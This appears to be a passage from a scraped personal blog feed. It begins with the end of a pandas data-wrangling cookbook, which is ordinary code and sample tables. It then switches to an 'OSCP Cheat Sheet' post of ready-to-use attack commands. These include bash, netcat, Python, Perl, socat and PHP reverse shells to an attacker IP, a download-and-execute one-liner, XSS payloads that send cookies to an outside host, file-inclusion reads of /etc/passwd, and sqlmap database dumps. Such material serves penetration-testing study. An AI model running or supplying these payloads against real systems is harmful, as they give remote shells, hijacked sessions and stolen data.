class="p">,</span> <span class="s">'given_name'</span><span class="p">:</span><span class="s">'testuser'</span><span class="p">,</span> <span class="s">'surname'</span><span class="p">:</span><span class="s">'blahblah'</span><span class="p">}</span> <span class="n">new_row</span> <span class="o">=</span> <span class="n">pd</span><span class="p">.</span><span class="n">DataFrame</span><span class="p">([</span><span class="n">app_dict</span><span class="p">],</span><span class="n">columns</span><span class="o">=</span><span class="n">app_dict</span><span class="p">.</span><span class="n">keys</span><span class="p">())</span> <span class="n">pd</span><span class="p">.</span><span class="n">concat</span><span class="p">([</span><span class="n">wrangling_df</span><span class="p">,</span><span class="n">new_row</span><span class="p">],</span> <span class="n">sort</span><span class="o">=</span><span class="bp">True</span><span class="p">).</span><span class="n">reset_index</span><span class="p">().</span><span class="n">tail</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span> </code></pre></div></div> <div class="dataframe-wrapper"> <style scoped=""> .dataframe tbody tr th:only-of-type { vertical-align: middle; } .dataframe tbody tr th { vertical-align: top; } .dataframe thead th { text-align: right; } </style> <table border="1" class="dataframe"> <thead> <tr style="text-align: right;"> <th></th> <th>index</th> <th>address</th> <th>assigned_sex</th> <th>birthdate</th> <th>bmi</th> <th>city</th> <th>contact</th> <th>country</th> <th>given_name</th> <th>height</th> <th>height_result</th> <th>illness</th> <th>patient_id</th> <th>state</th> <th>surname</th> <th>weight</th> <th>zip_code</th> </tr> </thead> <tbody> <tr> <th>501</th> <td>501</td> <td>3652 Boone Crockett Lane</td> <td>female</td> <td>2/13/1952</td> <td>27.7</td> <td>Seattle</td> <td>[email protected] 360 443 2060</td> <td>United States</td> <td>Chidalu</td> <td>67.0</td> <td>normal height</td> <td>none</td> <td>502</td> <td>WA</td> <td>Onyekaozulu</td> <td>176.9</td> <td>98109.0</td> </tr> <tr> <th>502</th> <td>502</td> <td>2778 North Avenue</td> <td>male</td> <td>5/3/1954</td> <td>19.3</td> <td>Burr</td> <td>[email protected]</td> <td>United States</td> <td>Pat</td> <td>71.0</td> <td>extrem height</td> <td>none</td> <td>503</td> <td>NE</td> <td>Gersten</td> <td>138.2</td> <td>68324.0</td> </tr> <tr> <th>503</th> <td>0</td> <td>NaN</td> <td>NaN</td> <td>NaN</td> <td>NaN</td> <td>NaN</td> <td>NaN</td> <td>NaN</td> <td>testuser</td> <td>NaN</td> <td>NaN</td> <td>NaN</td> <td>504</td> <td>NaN</td> <td>blahblah</td> <td>NaN</td> <td>NaN</td> </tr> </tbody> </table> </div> <h4 id="loc">loc</h4> <p>Create masks to insert specific values:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">height_mean</span> <span class="o">=</span> <span class="n">wrangling_df</span><span class="p">.</span><span class="n">height</span><span class="p">.</span><span class="n">mean</span><span class="p">()</span> <span class="n">mask</span> <span class="o">=</span> <span class="n">wrangling_df</span><span class="p">.</span><span class="n">patient_id</span> <span class="o">==</span> <span class="mi">4509</span> <span class="n">column_name</span> <span class="o">=</span> <span class="s">'height'</span> <span class="n">wrangling_df</span><span class="p">.</span><span class="n">loc</span><span class="p">[</span><span class="n">mask</span><span class="p">,</span> <span class="n">column_name</span><span class="p">]</span> <span class="o">=</span> <span class="n">height_mean</span> <span class="o">*</span> <span class="mf">1.5</span> </code></pre></div></div> <h3 id="cut-and-seperate">Cut and Seperate</h3> <h4 id="iloc">iloc</h4> <p>We can extract multiple columns and rows at once by combining iloc and numpy.r_:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">df_cut</span> <span class="o">=</span> <span class="n">wrangling_df</span><span class="p">.</span><span class="n">iloc</span><span class="p">[</span><span class="n">np</span><span class="p">.</span><span class="n">r_</span><span class="p">[:</span><span class="mi">5</span><span class="p">,</span><span class="mi">10</span><span class="p">:</span><span class="mi">15</span><span class="p">],</span> <span class="n">np</span><span class="p">.</span><span class="n">r_</span><span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">3</span><span class="p">]]</span> <span class="n">df_cut</span><span class="p">.</span><span class="n">shape</span> </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(10, 2) </code></pre></div></div> <h3 id="merge-group-and-sum-values">Merge, Group And Sum Values</h3> <h4 id="summarize-categorical-values">Summarize categorical values</h4> <p>Find from a list of mutations of all combinations of categorical values where at least 4 are positive:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">categories</span> <span class="o">=</span> <span class="p">[</span><span class="s">"C006_01"</span><span class="p">,</span><span class="s">"C006_02"</span><span class="p">,</span><span class="s">"C006_04"</span><span class="p">,</span><span class="s">"C006_06"</span><span class="p">,</span><span class="s">"C006_07"</span><span class="p">,</span><span class="s">"C006_10"</span><span class="p">]</span> <span class="n">all_muts</span> <span class="o">=</span> <span class="nb">list</span><span class="p">(</span><span class="n">itertools</span><span class="p">.</span><span class="n">combinations</span><span class="p">(</span><span class="n">categories</span><span class="p">,</span> <span class="mi">4</span><span class="p">))</span> <span class="n">f_s</span> <span class="o">=</span> <span class="s">'is correct'</span> <span class="n">result_df</span> <span class="o">=</span> <span class="n">pd</span><span class="p">.</span><span class="n">DataFrame</span><span class="p">()</span> <span class="k">for</span> <span class="n">m</span> <span class="ow">in</span> <span class="n">all_muts</span><span class="p">:</span> <span class="n">temp_df</span> <span class="o">=</span> <span class="n">umfrage_df</span><span class="p">[(</span><span class="n">umfrage_df</span><span class="p">[</span><span class="n">m</span><span class="p">[</span><span class="mi">0</span><span class="p">]]</span> <span class="o">==</span> <span class="n">f_s</span><span class="p">)</span> <span class="o">&amp;</span> <span class="p">(</span><span class="n">umfrage_df</span><span class="p">[</span><span class="n">m</span><span class="p">[</span><span class="mi">1</span><span class="p">]]</span> <span class="o">==</span> <span class="n">f_s</span><span class="p">)</span> <span class="o">&amp;</span> <span class="p">(</span><span class="n">umfrage_df</span><span class="p">[</span><span class="n">m</span><span class="p">[</span><span class="mi">2</span><span class="p">]]</span> <span class="o">==</span> <span class="n">f_s</span><span class="p">)</span> <span class="o">&amp;</span> <span class="p">(</span><span class="n">umfrage_df</span><span class="p">[</span><span class="n">m</span><span class="p">[</span><span class="mi">3</span><span class="p">]]</span> <span class="o">==</span> <span class="n">f_s</span><span class="p">)]</span> <span class="n">result_df</span> <span class="o">=</span> <span class="n">result_df</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">temp_df</span><span class="p">)</span> </code></pre></div></div> <p>Sum multiple categorical questions with the same range into one continuous value:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">merge_categorical</span><span class="p">(</span><span class="n">df</span><span class="p">,</span><span class="n">col_str</span><span class="p">,</span><span class="n">rating_dict</span><span class="p">):</span> <span class="n">filter_col</span> <span class="o">=</span> <span class="p">[</span><span class="n">col</span> <span class="k">for</span> <span class="n">col</span> <span class="ow">in</span> <span class="n">df</span> <span class="k">if</span> <span class="n">col</span><span class="p">.</span><span class="n">startswith</span><span class="p">(</span><span class="n">col_str</span><span class="p">)]</span> <span class="n">subset_df</span> <span class="o">=</span> <span class="n">df</span><span class="p">[</span><span class="n">filter_col</span><span class="p">].</span><span class="n">fillna</span><span class="p">(</span><span class="mi">0</span><span class="p">)</span> <span class="n">norm_value</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">filter_col</span><span class="p">)</span> <span class="n">subset_df</span><span class="p">[</span><span class="s">'sum'</span><span class="p">]</span> <span class="o">=</span> <span class="n">subset_df</span><span class="p">.</span><span class="nb">apply</span><span class="p">(</span><span class="k">lambda</span> <span class="n">x</span><span class="p">:</span> <span class="p">(</span><span class="nb">sum</span><span class="p">([</span><span class="n">rating_dict</span><span class="p">[</span><span class="n">y</span><span class="p">]</span> <span class="k">for</span> <span class="n">y</span> <span class="ow">in</span> <span class="n">x</span><span class="p">[</span><span class="n">filter_col</span><span class="p">]]))</span><span class="o">/</span><span class="n">norm_value</span> <span class="p">,</span> <span class="n">axis</span><span class="o">=</span><span class="mi">1</span><span class="p">)</span> <span class="k">return</span> <span class="n">subset_df</span> <span class="n">rating_dict_freq_lesson</span> <span class="o">=</span> <span class="p">{</span><span class="s">"Every Lesson"</span><span class="p">:</span><span class="mi">4</span><span class="p">,</span><span class="s">"Most Lessons"</span><span class="p">:</span><span class="mi">3</span><span class="p">,</span><span class="s">"Some Lessons"</span><span class="p">:</span><span class="mi">2</span><span class="p">,</span><span class="s">"Never or Hardly Ever"</span><span class="p">:</span><span class="mi">1</span><span class="p">,</span><span class="mi">0</span><span class="p">:</span><span class="mi">0</span><span class="p">}</span> <span class="n">teacher_practice</span> <span class="o">=</span> <span class="n">merge_categorical</span><span class="p">(</span><span class="n">pisa_df</span><span class="p">,</span><span class="s">"ST79Q"</span><span class="p">,</span><span class="n">rating_dict_freq_lesson</span><span class="p">)</span> </code></pre></div></div> <h3 id="merging">Merging</h3> <p>Merging two dataframes depending on multiple keys:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df</span><span class="p">.</span><span class="n">shape</span> </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(503, 16) </code></pre></div></div> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">treatment_df</span> <span class="o">=</span> <span class="n">pd</span><span class="p">.</span><span class="n">read_csv</span><span class="p">(</span><span class="s">"treatments.csv"</span><span class="p">)</span> <span class="n">wrangling_df</span><span class="p">.</span><span class="n">merge</span><span class="p">(</span><span class="n">treatment_df</span><span class="p">,</span><span class="n">how</span><span class="o">=</span><span class="s">'outer'</span><span class="p">,</span><span class="n">left_on</span><span class="o">=</span><span class="p">[</span><span class="s">'given_name'</span><span class="p">,</span><span class="s">'surname'</span><span class="p">],</span><span class="n">right_on</span><span class="o">=</span><span class="p">[</span><span class="s">'given_name'</span><span class="p">,</span><span class="s">'surname'</span><span class="p">]).</span><span class="n">shape</span> </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(783, 21) </code></pre></div></div> <p>It seems that none of the group of keys does match the new Dataframe. Therefore the length of the treatments will be appended and the resulting dataframe will be the sum of both Dataframes.</p> <h3 id="melting">Melting</h3> <p>The powerful function from pandas melt, makes it possible to unite multiple categorical columns into one:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">melt_df</span> <span class="o">=</span> <span class="n">wrangling_df</span><span class="p">.</span><span class="n">melt</span><span class="p">(</span><span class="n">id_vars</span> <span class="o">=</span> <span class="p">[</span><span class="s">'patient_id'</span><span class="p">,</span><span class="s">'surname'</span><span class="p">],</span> <span class="n">value_vars</span> <span class="o">=</span> <span class="p">[</span><span class="s">'height'</span><span class="p">,</span> <span class="s">'weight'</span><span class="p">],</span> <span class="n">var_name</span> <span class="o">=</span> <span class="s">'body_indicator'</span><span class="p">,</span> <span class="n">value_name</span> <span class="o">=</span> <span class="s">'body'</span><span class="p">)</span> <span class="n">melt_df</span><span class="p">[</span><span class="n">melt_df</span><span class="p">.</span><span class="n">patient_id</span> <span class="o">==</span> <span class="mi">1</span><span class="p">]</span> </code></pre></div></div> <div class="dataframe-wrapper"> <style scoped=""> .dataframe tbody tr th:only-of-type { vertical-align: middle; } .dataframe tbody tr th { vertical-align: top; } .dataframe thead th { text-align: right; } </style> <table border="1" class="dataframe"> <thead> <tr style="text-align: right;"> <th></th> <th>patient_id</th> <th>surname</th> <th>body_indicator</th> <th>body</th> </tr> </thead> <tbody> <tr> <th>0</th> <td>1</td> <td>Wellish</td> <td>height</td> <td>66.0</td> </tr> <tr> <th>503</th> <td>1</td> <td>Wellish</td> <td>weight</td> <td>121.7</td> </tr> </tbody> </table> </div> <p>It doesn’t really make sense to do this transformation, but it shows the purpose of <strong>melt</strong> in a good way.</p> <h3 id="groupby">Groupby</h3> <p>Create Dataframe that will count occurences grouped by another value. The resulting construct can be converted to DataFrame using unstack:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">patients_country</span> <span class="o">=</span> <span class="n">wrangling_df</span><span class="p">.</span><span class="n">groupby</span><span class="p">(</span><span class="n">by</span><span class="o">=</span><span class="p">[</span><span class="s">'country'</span><span class="p">])[</span><span class="s">'state'</span><span class="p">].</span><span class="n">value_counts</span><span class="p">().</span><span class="n">sort_index</span><span class="p">()</span> <span class="n">patients_country</span><span class="p">.</span><span class="n">unstack</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> </code></pre></div></div> <div class="dataframe-wrapper"> <style scoped=""> .dataframe tbody tr th:only-of-type { vertical-align: middle; } .dataframe tbody tr th { vertical-align: top; } .dataframe thead th { text-align: right; } </style> <table border="1" class="dataframe"> <thead> <tr style="text-align: right;"> <th>state</th> <th>AK</th> <th>AL</th> <th>AR</th> <th>AZ</th> <th>CA</th> <th>CO</th> <th>CT</th> <th>DC</th> <th>DE</th> <th>FL</th> <th>...</th> <th>SC</th> <th>SD</th> <th>TN</th> <th>TX</th> <th>VA</th> <th>VT</th> <th>WA</th> <th>WI</th> <th>WV</th> <th>WY</th> </tr> <tr> <th>country</th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> <th></th> </tr> </thead> <tbody> <tr> <th>United States</th> <td>1</td> <td>9</td> <td>4</td> <td>4</td> <td>60</td> <td>4</td> <td>5</td> <td>2</td> <td>3</td> <td>22</td> <td>...</td> <td>5</td> <td>3</td> <td>9</td> <td>32</td> <td>11</td> <td>2</td> <td>8</td> <td>10</td> <td>3</td> <td>1</td> </tr> </tbody> </table> <p>1 rows × 49 columns</p> </div> <h2 id="regex-use-cases">Regex Use-Cases</h2> <h3 id="extract">Extract</h3> <p>Often multiple interesting values are concatenated in one string column. We can use Regex to extract them:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df</span><span class="p">[</span><span class="s">'phone_number'</span><span class="p">]</span> <span class="o">=</span> <span class="n">wrangling_df</span><span class="p">.</span><span class="n">contact</span><span class="p">.</span><span class="nb">str</span><span class="p">.</span><span class="n">extract</span><span class="p">(</span><span class="s">'((?:\+\d{1,2}\s)?\(?\d{3}\)?[\s.-]?\d{3}[\s.-]?\d{4})'</span><span class="p">,</span> <span class="n">expand</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span> <span class="n">wrangling_df</span><span class="p">[</span><span class="s">'email'</span><span class="p">]</span> <span class="o">=</span> <span class="n">wrangling_df</span><span class="p">.</span><span class="n">contact</span><span class="p">.</span><span class="nb">str</span><span class="p">.</span><span class="n">extract</span><span class="p">(</span><span class="s">'([a-zA-Z][a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.][a-zA-Z]+)'</span><span class="p">,</span> <span class="n">expand</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span> </code></pre></div></div> <h3 id="find-and-replace">Find and Replace</h3> <p>Reverse every lowercase alphabetic word:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">repl</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">m</span><span class="p">:</span> <span class="n">m</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="mi">0</span><span class="p">)[::</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="n">pd</span><span class="p">.</span><span class="n">Series</span><span class="p">([</span><span class="s">'foo 123'</span><span class="p">,</span> <span class="s">'bar baz'</span><span class="p">,</span> <span class="n">np</span><span class="p">.</span><span class="n">nan</span><span class="p">]).</span><span class="nb">str</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="sa">r</span><span class="s">'[a-z]+'</span><span class="p">,</span> <span class="n">repl</span><span class="p">)</span> </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0 oof 123 1 rab zab 2 NaN dtype: object </code></pre></div></div> <p>Use Regex Groups:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">pat</span> <span class="o">=</span> <span class="sa">r</span><span class="s">"(?P&lt;one&gt;\w+) (?P&lt;two&gt;\w+) (?P&lt;three&gt;\w+)"</span> <span class="n">repl</span> <span class="o">=</span> <span class="k">lambda</span> <span class="n">m</span><span class="p">:</span> <span class="n">m</span><span class="p">.</span><span class="n">group</span><span class="p">(</span><span class="s">'one'</span><span class="p">).</span><span class="n">upper</span><span class="p">()</span> <span class="n">pd</span><span class="p">.</span><span class="n">Series</span><span class="p">([</span><span class="s">'one two three'</span><span class="p">,</span> <span class="s">'foo bar baz'</span><span class="p">]).</span><span class="nb">str</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="n">pat</span><span class="p">,</span> <span class="n">repl</span><span class="p">)</span> </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0 ONE 1 FOO dtype: object </code></pre></div></div> <p>Return function to return clean values for every Regex outcome:</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">import</span> <span class="nn">re</span> <span class="n">reg_df</span> <span class="o">=</span> <span class="n">pd</span><span class="p">.</span><span class="n">DataFrame</span><span class="p">([</span><span class="s">"blah"</span><span class="p">,</span><span class="s">"blubb"</span><span class="p">,</span><span class="s">"blach"</span><span class="p">,</span><span class="s">"blhab"</span><span class="p">,</span><span class="s">"asdblaheh"</span><span class="p">],</span> <span class="n">columns</span><span class="o">=</span><span class="p">[</span><span class="s">'test'</span><span class="p">])</span> <span class="k">def</span> <span class="nf">regex_filter</span><span class="p">(</span><span class="n">val</span><span class="p">):</span> <span class="k">if</span> <span class="n">val</span><span class="p">:</span> <span class="n">mo</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="s">"blah"</span><span class="p">,</span><span class="n">val</span><span class="p">)</span> <span class="k">if</span> <span class="n">mo</span><span class="p">:</span> <span class="k">return</span> <span class="bp">True</span> <span class="k">else</span><span class="p">:</span> <span class="k">return</span> <span class="bp">False</span> <span class="k">else</span><span class="p">:</span> <span class="k">return</span> <span class="bp">False</span> <span class="n">reg_df</span><span class="p">[</span><span class="n">reg_df</span><span class="p">[</span><span class="s">'test'</span><span class="p">].</span><span class="nb">apply</span><span class="p">(</span><span class="n">regex_filter</span><span class="p">)]</span> </code></pre></div></div> <div class="dataframe-wrapper"> <style scoped=""> .dataframe tbody tr th:only-of-type { vertical-align: middle; } .dataframe tbody tr th { vertical-align: top; } .dataframe thead th { text-align: right; } </style> <table border="1" class="dataframe"> <thead> <tr style="text-align: right;"> <th></th> <th>test</th> </tr> </thead> <tbody> <tr> <th>0</th> <td>blah</td> </tr> <tr> <th>4</th> <td>asdblaheh</td> </tr> </tbody> </table> </div> <p>Change Phone Number Format with Replace and Padding (Before):</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df</span><span class="p">.</span><span class="n">phone_number</span><span class="p">[:</span><span class="mi">5</span><span class="p">]</span> </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0 951-719-9170 1 +1 (217) 569-3204 2 402-363-6804 3 +1 (732) 636-8246 4 334-515-7487 Name: phone_number, dtype: object </code></pre></div></div> <p>(After):</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df</span><span class="p">.</span><span class="n">phone_number</span><span class="p">.</span><span class="nb">str</span><span class="p">.</span><span class="n">replace</span><span class="p">(</span><span class="sa">r</span><span class="s">'\D+'</span><span class="p">,</span> <span class="s">''</span><span class="p">).</span><span class="nb">str</span><span class="p">.</span><span class="n">pad</span><span class="p">(</span><span class="mi">11</span><span class="p">,</span> <span class="n">fillchar</span><span class="o">=</span><span class="s">'1'</span><span class="p">)[:</span><span class="mi">5</span><span class="p">]</span> </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0 19517199170 1 12175693204 2 14023636804 3 17326368246 4 13345157487 Name: phone_number, dtype: object </code></pre></div></div> <p>Change Zip Code Format using Replace and Padding (Before):</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df</span><span class="p">.</span><span class="n">zip_code</span><span class="p">[:</span><span class="mi">5</span><span class="p">]</span> </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0 92390.0 1 61812.0 2 68467.0 3 7095.0 4 36303.0 Name: zip_code, dtype: float64 </code></pre></div></div> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">wrangling_df</span><span class="p">.</span><span class="n">zip_code</span><span class="p">.</span><span class="n">astype</span><span class="p">(</span><span class="nb">str</span><span class="p">).</span>\ <span class="nb">str</span><span class="p">[:</span><span class="o">-</span><span class="mi">2</span><span class="p">].</span>\ <span class="nb">str</span><span class="p">.</span><span class="n">pad</span><span class="p">(</span><span class="mi">5</span><span class="p">,</span> <span class="n">fillchar</span><span class="o">=</span><span class="s">'0'</span><span class="p">).</span>\ <span class="n">replace</span><span class="p">(</span><span class="s">'0000n'</span><span class="p">,</span> <span class="n">np</span><span class="p">.</span><span class="n">nan</span><span class="p">)[:</span><span class="mi">5</span><span class="p">]</span> </code></pre></div></div> <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>0 92390 1 61812 2 68467 3 07095 4 36303 Name: zip_code, dtype: object </code></pre></div></div>herrfederAfter finishing my Udacity DataAnalyst Nanodegree I want to preserve my obtained skills using Pandas. Therefore I created a mixture of Cheat Sheet and Cookbook to go over several usecases. Maybe you will find it useful. This is Part 2 and is about Assessing and Wrangling in Pandas. I’m aiming at adding more content if I find something interesting. By The Way, although it’s Part 2 it’s the first part, as it was the easiest to collect and present the content in a readable way.OSCP Cheat Sheet2018-09-30T16:00:00+00:002018-09-30T16:00:00+00:00https://herrfeder.github.io/pentesting/2018/09/30/OSCP-Cheat-Sheet<h2 id="reverse-shells">Reverse Shells</h2> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># bash</span> bash <span class="nt">-i</span> <span class="o">&gt;</span>&amp; /dev/tcp/192.168.100.113/4444 0&gt;&amp;1 <span class="c">#sh</span> <span class="nb">rm</span> <span class="nt">-f</span> /tmp/p<span class="p">;</span> <span class="nb">mknod</span> /tmp/p p <span class="o">&amp;&amp;</span> nc &lt;attacker-ip&gt; 4444 0/tmp/p <span class="c">#telnet</span> <span class="nb">rm</span> <span class="nt">-f</span> /tmp/p<span class="p">;</span> <span class="nb">mknod</span> /tmp/p p <span class="o">&amp;&amp;</span> telnet &lt;attacker-ip&gt; 80 0/tmp/p <span class="c"># python</span> python <span class="nt">-c</span> <span class="s1">'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'</span> <span class="c"># perl </span> perl <span class="nt">-e</span> <span class="s1">'use Socket;$i="ATTACKING-IP";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"&gt;&amp;S");open(STDOUT,"&gt;&amp;S");open(STDERR,"&gt;&amp;S");exec("/bin/sh -i");};'</span> </code></pre></div></div> <h3 id="elevate-shell">Elevate shell</h3> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>python <span class="nt">-c</span> <span class="s1">'import pty; pty.spawn("/bin/bash")'</span> </code></pre></div></div> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># attacker listener</span> socat file:<span class="sb">`</span><span class="nb">tty</span><span class="sb">`</span>,raw,echo<span class="o">=</span>0 tcp-listen:4444 <span class="c"># victim reverse shell</span> socat <span class="nb">exec</span>:<span class="s1">'bash -li'</span>,pty,stderr,setsid,sigint,sane tcp:&lt;host-ip&gt;:4444 <span class="c"># download and execute in one line</span> wget <span class="nt">-q</span> https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat <span class="nt">-O</span> /tmp/socat<span class="p">;</span> <span class="nb">chmod</span> +x /tmp/socat<span class="p">;</span> /tmp/socat <span class="nb">exec</span>:<span class="s1">'bash -li'</span>,pty,stderr,setsid,sigint,sane tcp:&lt;host-ip&gt;:4444 </code></pre></div></div> <h2 id="web">Web</h2> <h3 id="directory-traversal">Directory Traversal</h3> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dotdotpwn <span class="nt">-m</span> http <span class="nt">-h</span> &lt;host-ip&gt; <span class="nt">-o</span> windows <span class="c"># create list with directories</span> dotdotpwn <span class="nt">-m</span> stdout <span class="nt">-d</span> 8 <span class="nt">-o</span> windows <span class="o">&gt;</span> ddp_traversal </code></pre></div></div> <h3 id="xss">XSS</h3> <div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="dl">'</span><span class="s1">"&gt;&gt;&lt;script&gt;i=document.createElement("img");i.src=</span><span class="dl">'</span><span class="nx">http</span><span class="p">:</span><span class="c1">//10.11.0.61:5555/'+document.cookie;&lt;/script&gt;</span> <span class="o">&lt;</span><span class="nx">script</span><span class="o">&gt;</span> <span class="k">new</span> <span class="nx">Image</span><span class="p">().</span><span class="nx">src</span><span class="o">=</span><span class="dl">"</span><span class="s2">http://10.11.0.61:81/bogus.php?output=</span><span class="dl">"</span><span class="o">+</span><span class="nb">document</span><span class="p">.</span><span class="nx">cookie</span><span class="p">;</span> <span class="o">&lt;</span><span class="sr">/script</span><span class="err">&gt; </span></code></pre></div></div> <h3 id="file-inclusion">File Inclusion</h3> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># check vor DAV upload vulns</span> davtest <span class="nt">-url</span> &lt;host-ip&gt; <span class="nt">-move</span> </code></pre></div></div> <p>Using curl</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-X</span> PUT http://website:8080/test.jsp/ <span class="nt">-d</span> @- &lt; test.jsp curl <span class="nt">--cookie</span> <span class="s2">"JSESSIONID=CFD11DB259AABD57E38AE7ED5935B691"</span> <span class="nt">-X</span> PUT http://website:8080/test.jsp/ <span class="nt">-d</span> @- &lt; test.jsp </code></pre></div></div> <p>Using PHP</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="nt">--data</span> <span class="s2">"&lt;?system('ls -la');?&gt;"</span> <span class="s2">"http://website/admin.php?ACS_path=php://input%00"</span> </code></pre></div></div> <p>Sometimes only traffic on web port allowed</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl <span class="nt">-s</span> <span class="nt">--data</span> <span class="s2">"&lt;? shell_exec('bash -i &gt;&amp; /dev/tcp/10.11.0.61/443 0&gt;&amp;1') ?&gt;"</span> <span class="s2">"http://website/admin.php?ACS_path=php://input%00 </span></code></pre></div></div> <p>Read files from system</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>https://website/section.php?page<span class="o">=</span>php://filter/convert.base64-encode/resource<span class="o">=</span>/etc/passwd%00 </code></pre></div></div> <p>Using kadismus</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>./kadimus <span class="nt">-t</span> https://website/section.php?page<span class="o">=</span>php://input%00 <span class="nt">--inject-at</span> page <span class="nt">-C</span> <span class="s1">'&lt;?php echo "pwned"; ?&gt;'</span> <span class="nt">-X</span> input </code></pre></div></div> <h3 id="reverse-shell-payloads">Reverse shell payloads</h3> <div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">&lt;?php</span> <span class="nb">shell_exec</span><span class="p">(</span><span class="s2">"bash -i &gt;&amp; /dev/tcp/10.11.0.61/5555 0&gt;&amp;1"</span><span class="p">)</span> <span class="cp">?&gt;</span> <span class="cp">&lt;?php</span> <span class="nb">shell_exec</span><span class="p">(</span><span class="s2">"nc -e /bin/sh 10.11.0.61 5555"</span><span class="p">)</span> <span class="cp">?&gt;</span> <span class="cp">&lt;?php</span> <span class="nv">$sock</span><span class="o">=</span><span class="nb">fsockopen</span><span class="p">(</span><span class="s2">"10.11.0.61"</span><span class="p">,</span><span class="mi">5555</span><span class="p">);</span><span class="nb">exec</span><span class="p">(</span><span class="s2">"/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3"</span><span class="p">);</span> <span class="cp">?&gt;</span> </code></pre></div></div> <h2 id="sqli">SQLi</h2> <p>SQLmap</p> <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sqlmap <span class="nt">-u</span> <span class="s2">"http://website/wp/wp-content/plugins/wp-forum/feed.php?topic=-4381 "</span> <span class="nt">--dbms</span><span class="o">=</span>mysql <span class="nt">--technique</span><span class="o">=</span>U <span class="nt">--union-cols</span><span class="o">=</span>7 <span class="nt">--random-agent</span> <span class="nt">--dump</span> sqlmap <span class="nt">-u</span> <span class="s2">"http://website/edit_period.php?period_id=1 "</span> <span class="nt">--cookie</span><span class="o">=</span><span class="s2">"PHPSESSID=h7gtd8seldqt6vfa9igebn4tu1"</span> <span class="nt">--dbms</span><span class="o">=</span>mysql <span class="nt">--level</span><span class="o">=</span>5 <span class="nt">--risk</span><span class="o">=</span>3 </code></pre></div></div> <h2 id="service-cracking--enumeration">Service Cracking &amp; Enumeration</h2> 